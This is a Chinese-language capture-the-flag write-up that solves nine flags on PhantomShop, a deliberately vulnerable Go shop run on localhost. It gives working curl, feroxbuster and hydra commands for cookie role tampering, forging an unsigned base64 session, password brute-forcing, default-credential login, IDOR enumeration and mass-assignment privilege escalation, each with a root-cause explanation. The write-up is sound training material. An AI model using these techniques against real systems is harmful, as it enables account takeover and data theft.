PhantomShop (PhantomRange) writeup 1 — Recon × 資訊洩漏 × 認證崩壞
題目資訊
- 平台:自架靶機(GitHub:
phantom-offensive/PhantomRange) - 應用:PhantomShop — 一個「正常運作」的時尚電商,內建 50 顆旗、18 個漏洞類別、10,400 分
- 技術棧:Go(標準庫
net/http+ SQLite,純 Go driver) - 難度:Easy ~ Hard 混合
- 啟動:
docker compose up -d→http://localhost:9000 - 交旗:
POST /flag,記分板/scoreboard,內建漏洞清單/vulns
這篇收 9 顆旗:資訊洩漏 ×2、IDOR ×2、認證 ×5核心主題,只有一句話——這台把「你是誰」整個交給 client 決定。
Step 0:指紋辨識
whatweb -v http://localhost:9000
curl -sI http://localhost:9000
兩個關鍵情報:
① Server header 乾淨到不行,沒有 X-Powered-By、沒有框架特徵 → 純 Go net/http,實務意義:後面目錄爆破不要浪費在 .php/.asp,Go 路由多半是無副檔名或 .json。
② CSP 是擺設:
Content-Security-Policy: default-src * 'unsafe-inline' 'unsafe-eval'; script-src * 'unsafe-inline' 'unsafe-eval'
* + unsafe-inline + unsafe-eval = 等於沒設,這一行直接預告了 XSS 那批幾乎無阻力
Step 1:目錄與 API 枚舉
# 主目錄
feroxbuster -u http://localhost:9000 \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-C 404 -t 50 -d 2
# API 專用字典(README 明講:有些旗在 API 不在頁面)
feroxbuster -u http://localhost:9000/api \
-w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \
-H "Cookie: user_id=5; username=kevin; role=admin" -C 404 -t 50
Recon 踩雷筆記:/order/<任何字串> 全部回 200、大小都差不多 → 這是 catch-all 路由(/order/{id} 不驗證存在與否),不是幾百個真端點,別被 feroxbuster 的數字嚇到,先看回應大小分群、把噪音濾掉。
去重後的真攻擊面:
| 端點 | 訊號 |
|---|---|
/debug |
超小回應 → 資訊洩漏 |
/api/error |
stack trace |
/api/session |
認證機制入口 |
/api/user/ /api/order/ |
IDOR |
/admin /admin/invoice |
權限 + 命令注入 |
/api/export /api/import |
路徑穿越 / XXE |
Flag 1 — info_debug_endpoint(Info Disclosure, Easy, 100)
第一刀最白:
curl -s http://localhost:9000/debug
{"admin_key":"phantom-admin-2026","db_path":"data/shop.db","debug":true,
"env":"production","flag":"FLAG{Redacted}","go_version":"go1.24",
"server":"PhantomShop v2.0"}
FLAG{Redacted}
這顆的價值不只一面旗——它洩漏了 admin_key 跟 db_path,是後續一連串攻擊的情報基底。
根因:debug: true 被留在 env: production,診斷端點該只在開發環境開,卻上了線,真實世界對照:暴露的 /actuator、/debug、.env。
Flag 2 — info_error_stack(Info Disclosure, Easy, 100)
一開始我猜錯方向:丟壞參數想逼它噴例外——
curl -s "http://localhost:9000/product/abc" # → 404,乾淨降級
curl -s "http://localhost:9000/product/-1" # → 404
這台對爛輸入是優雅降級,不會噴 stack,真正的觸發點是專屬端點:
curl -s http://localhost:9000/api/error
Internal Server Error
goroutine 1 [running]:
/app/internal/shop/pages.go:342 +0x1a4
/usr/local/go/src/net/http/server.go:2136 +0x29
🚩 FLAG{Redacted}
FLAG{Redacted}
bonus 情報:stack trace 洩漏了應用的絕對路徑 /app/internal/shop/ 與原始檔名 pages.go,對後面找路徑穿越目標很有用。
教訓:不要預設「丟壞輸入 → 一定噴 stack」,先摸清楚 app 的錯誤處理風格,再決定觸發手法。
樞紐:role=admin,一個 cookie 打開整座金庫
攔一個平常的 /cart/add 請求,注意到 session 是三個裸 cookie:
user_id=5; username=kevin; role=user
role 放在 cookie 裡 = 讓瀏覽器自己宣告自己是誰,改一個字:
curl -s http://localhost:9000/admin -b 'user_id=5; username=kevin; role=admin' \
| grep -iE 'flag|<h2>'
從「擋你」瞬間變「放你進」,這條 broken access control 是整局的樞紐,admin panel 上掛著的獎勵旗全部一次可見。
Flag 3 — auth_jwt(Auth, Medium, 200)
這顆卡最久,因為名字誤導,我一度想爆 HS256 密鑰、跑 hashcat——全走錯棚。真相在 /api/session:
curl -s http://localhost:9000/api/session
{"hint":"Set a 'session' cookie with base64-encoded JSON: {\"user\":\"admin\",\"role\":\"admin\"}"}
所謂「weak JWT secret」根本是假 JWT——它是 base64 的 JSON,完全沒有簽章,偽造超簡單:
TOKEN=$(echo -n '{"user":"admin","role":"admin"}' | base64 -w0)
curl -s http://localhost:9000/api/session -b "session=$TOKEN"
FLAG{Redacted}
教訓:漏洞名稱是靶機作者給的「劇情」,不是技術事實,看到 jwt 別急著開 jwt_tool——先看那串 token 到底長什麼樣,三段點分隔才是 JWT;base64 JSON 只是「編碼」不是「加密」,更沒有「簽章」。
Flag 4 — auth_2fa(Auth, Hard, 300)
2FA 那顆的旗同樣掛在 admin panel,正牌解的重點在 hint:二階驗證是 server 端強制、還是只是 client 端假設? 這台是後者——2FA 狀態靠 cookie 標記,沒有 server 端強制檢查,直接略過驗證步驟即可。
FLAG{Redacted}
根因:認證步驟的狀態機建在 client 可控的資料上,真實世界最常見的 2FA bypass 就是這種——/verify 過了才該發 session,但實作卻在 /login 就發、/verify 只是「建議」。
Flag 5 — auth_bruteforce(Auth, Easy, 100)
登入端點沒有任何速率限制或鎖定:
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
localhost -s 9000 http-post-form \
"/login:username=^USER^&password=^PASS^:invalid"
一直試、試到爛都不會被擋。
FLAG{Redacted}
根因:沒有 rate limiting、沒有 account lockout、沒有 CAPTCHA,這顆是「缺防護」型漏洞,不需要巧勁,只需要證明「攻擊者可以無限嘗試」。
Flag 6 — auth_default_creds(Auth, Easy, 100)
/debug 早就洩漏過線索,admin 的密碼從沒改過:
curl -s -i -X POST http://localhost:9000/login \
-d 'username=admin&password=admin123' | grep -iE 'role=admin|location'
admin / admin123 直接登入。
FLAG{Redacted}
根因:安裝後的預設帳密留在生產環境,這在真實滲透裡永遠值得先試一輪。
Flag 7 — auth_pass_in_response(Auth, Easy, 100)
使用者查詢 API 把整列欄位原封吐回來:
curl -s http://localhost:9000/api/user/1 | python3 -m json.tool
回應裡夾著 password 欄位——前端可能不顯示,但資料早就送到 client 了。
FLAG{Redacted}
根因:後端偷懶 json.Encode(user),DB 有什麼欄位就吐什麼,沒有做回應白名單(DTO),對應 OWASP API3: Excessive Data Exposure(現稱 Broken Object Property Level Authorization),這是 API 滲透最好撿的一類——翻 JSON 就有。
Flag 8 — idor_profile(IDOR, Easy, 100)
同一個 /api/user/{id} 沒有任何授權檢查,任意 id 撈任意人:
for i in 1 2 3 4 5; do curl -s "http://localhost:9000/api/user/$i"; echo; done
{"email":"[email protected]","flag":"FLAG{Redacted}","id":1,"role":"admin","username":"admin"}
{"email":"[email protected]","id":2,"role":"user","username":"john"}
...
FLAG{Redacted}
根因:物件層級授權缺失(BOLA / OWASP API1),API 只認「有沒有帶 cookie」,不認「這筆資料是不是你的」。
Flag 9 — idor_mass_assign(IDOR, Hard, 300)
Profile 更新 API 盲目信任你送進來的所有欄位:
curl -s -X POST http://localhost:9000/api/user/update \
-H 'Content-Type: application/json' \
-d '{"id":5,"role":"admin"}'
FLAG{Redacted}
根因:Mass Assignment,後端 json.Unmarshal(body, &user); db.Save(&user) 沒有欄位白名單,於是你多送的 role 也被寫進 DB → 永久提權。
跟 role=admin cookie 的差別(容易混):
- cookie 竄改 → 改的是「當前 session 宣稱的身分」,關瀏覽器就沒了,屬認證問題。
- mass assignment → 把
role:admin寫進資料庫,永久生效,屬授權/資料綁定問題。
真實案例:2012 年 GitHub 被人用 Rails mass assignment 把公鑰塞進官方 repo 管理員帳號,Rails 之後強制 strong parameters 就是為了堵這個。
小結
貫穿主題:這台的認證/授權設計,把「你是誰」「你能做什麼」全放在 client 可控的地方——cookie、base64 token、盲信的 JSON 欄位,真實世界的 broken access control 常年霸榜 OWASP Top 10 第一,就是這些「相信 client」的小決定累積出來的。
本文為自架訓練靶機的教學紀錄,所有操作皆在本機隔離環境進行。
Member discussion